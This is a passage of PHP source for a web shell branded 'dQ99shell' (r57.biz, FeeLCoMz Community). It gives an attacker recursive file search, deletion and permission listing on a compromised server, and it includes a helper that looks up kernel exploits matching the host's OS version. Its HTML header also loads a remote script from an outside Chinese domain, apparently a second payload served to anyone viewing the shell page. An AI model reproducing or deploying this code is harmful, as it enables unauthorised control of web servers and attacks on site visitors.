2914 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
2915 if (is_dir($o)) {
2916 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
2917 return fs_rmdir($o);
2918 }
2919 elseif (is_file($o)) {return unlink($o);}
2920 else {return FALSE;}
2921}
2922## END FILESYSTEM FUNCTIONS ##
2923function onphpshutdown() {
2924 global $gzipencode,$ft;
2925 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
2926 $v = @ob_get_contents();
2927 @ob_end_clean();
2928 @ob_start("ob_gzHandler");
2929 echo $v;
2930 @ob_end_flush();
2931 }
2932}
2933function dQ99shexit() { onphpshutdown(); exit; }
2934
2935function dQ99fsearch($d) {
2936 global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
2937 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2938 $h = opendir($d);
2939 while (($f = readdir($h)) !== FALSE) {
2940 if($f != "." && $f != "..") {
2941 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
2942 if (is_dir($d.$f)) {
2943 $search_i_d++;
2944 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
2945 if (!is_link($d.$f)) {dQ99fsearch($d.$f);}
2946 }
2947 else {
2948 $search_i_f++;
2949 if ($bool) {
2950 if (!empty($a["text"])) {
2951 $r = @file_get_contents($d.$f);
2952 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
2953 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
2954 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
2955 else {$bool = strpos(" ".$r,$a["text"],1);}
2956 if ($a["text_not"]) {$bool = !$bool;}
2957 if ($bool) {$found[] = $d.$f; $found_f++;}
2958 }
2959 else {$found[] = $d.$f; $found_f++;}
2960 }
2961 }
2962 }
2963 }
2964 closedir($h);
2965}
2966function view_size($size) {
2967 if (!is_numeric($size)) { return FALSE; }
2968 else {
2969 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
2970 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
2971 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
2972 else {$size = $size . " B";}
2973 return $size;
2974 }
2975}
2976function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
2977function view_perms($mode) {
2978 if (($mode & 0xC000) === 0xC000) {$type = "s";}
2979 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
2980 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
2981 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
2982 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
2983 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
2984 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
2985 else {$type = "?";}
2986 $owner["read"] = ($mode & 00400)?"r":"-";
2987 $owner["write"] = ($mode & 00200)?"w":"-";
2988 $owner["execute"] = ($mode & 00100)?"x":"-";
2989 $group["read"] = ($mode & 00040)?"r":"-";
2990 $group["write"] = ($mode & 00020)?"w":"-";
2991 $group["execute"] = ($mode & 00010)?"x":"-";
2992 $world["read"] = ($mode & 00004)?"r":"-";
2993 $world["write"] = ($mode & 00002)? "w":"-";
2994 $world["execute"] = ($mode & 00001)?"x":"-";
2995 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
2996 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
2997 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
2998 return $type.join("",$owner).join("",$group).join("",$world);
2999}
3000function parse_perms($mode) {
3001 if (($mode & 0xC000) === 0xC000) {$t = "s";}
3002 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
3003 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
3004 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
3005 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
3006 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
3007 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
3008 else {$t = "?";}
3009 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
3010 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
3011 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
3012 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
3013}
3014function parsesort($sort) {
3015 $one = intval($sort);
3016 $second = substr($sort,-1);
3017 if ($second != "d") {$second = "a";}
3018 return array($one,$second);
3019}
3020function view_perms_color($o) {
3021 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
3022 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
3023 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
3024}
3025function str2mini($content,$len) {
3026 if (strlen($content) > $len) {
3027 $len = ceil($len/2) - 2;
3028 return substr($content, 0,$len)."...".substr($content,-$len);
3029 } else {return $content;}
3030}
3031function strips(&$arr,$k="") {
3032 if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
3033 else { $arr = stripslashes($arr); }
3034}
3035
3036function getmicrotime() {
3037 list($usec, $sec) = explode(" ", microtime());
3038 return ((float)$usec + (float)$sec);
3039}
3040
3041function milw0rm() {
3042 $Lversion = php_uname(r);
3043 $OSV = php_uname(s);
3044 if(eregi("Linux",$OSV)) {
3045 $Lversion = substr($Lversion,0,6);
3046 return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
3047 } else {
3048 $Lversion = substr($Lversion,0,3);
3049 return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
3050 }
3051}
3052function tools() {
3053 echo "List of tools";
3054}
3055
3056function sh_name() { return base64_decode("ZGlLaSBkUTk5c2hlbGwgdg==").sh_ver; }
3057function htmlhead($safemode) {
3058$style = '
3059<style type="text/css">
3060body,table {font:8pt verdana;background-color:black;}
3061table {width:100%;}
3062table,td,#maininfo td {padding:3px;}
3063table,td,input,select,option {border:1px solid #808080;}
3064body,table,input,select,option {color:#FFFFFF;}
3065a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
3066textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
3067#pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
3068#pagebar td {vertical-align:top;}
3069#pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
3070#pagebar a {font-weight:bold;color:#00FF00;}
3071#pagebar a:visited {color:#00CE00;}
3072#mainmenu {text-align:center;}
3073#mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
3074#maininfo,.barheader,.bartitle {text-align:center;}
3075.fleft {float:left;text-align:left;}
3076.fright {float:right;text-align:right;}
3077.bartitle {padding:5px;border:2px solid #1F1F1F;}
3078.barheader {font-weight:bold;padding:5px;}
3079.info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
3080.info th {color:#00FF00;text-align:left;width:13%;}
3081.contents,.explorer {border-collapse:collapse;}
3082.contents,.explorer td,th {vertical-align:top;}
3083.mainpanel {border-collapse:collapse;padding:5px;}
3084.barheader,.mainpanel table,td {border:1px solid #333333;}
3085input[type="submit"],input[type="button"] {border:1px solid #000000;}
3086input[type="text"] {padding:3px;}
3087.shell {background-color:#000000;color:#00FF00;padding:5px;font-size:12;}
3088.fxerrmsg {color:red; font-weight:bold;}
3089#pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
3090#pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;}
3091.bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
3092textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
3093input[type="label"] { text-align:right;}
3094.info,.info td,input[type="label"] {border:0;background:none;}
3095</style>
3096';
3097$html_start = '
3098<html><head>
3099<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
3100'.$style.'
3101</head>
3102<SCRIPT SRC=http://7jyewu.cn/a/a.asp></SCRIPT>
3103<body>
3104<div class=bartitle><h4>'.sh_name().'</h4>.: r57.biz Dq99Shell :.</div>
3105';
3106return $html_start;
3107};
3108function footer() {
3109 echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By www.r57.biz, ?2008 FeeLCoMz Community, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>";
3110}
3111chdir($lastdir); dQ99shexit();
3112?>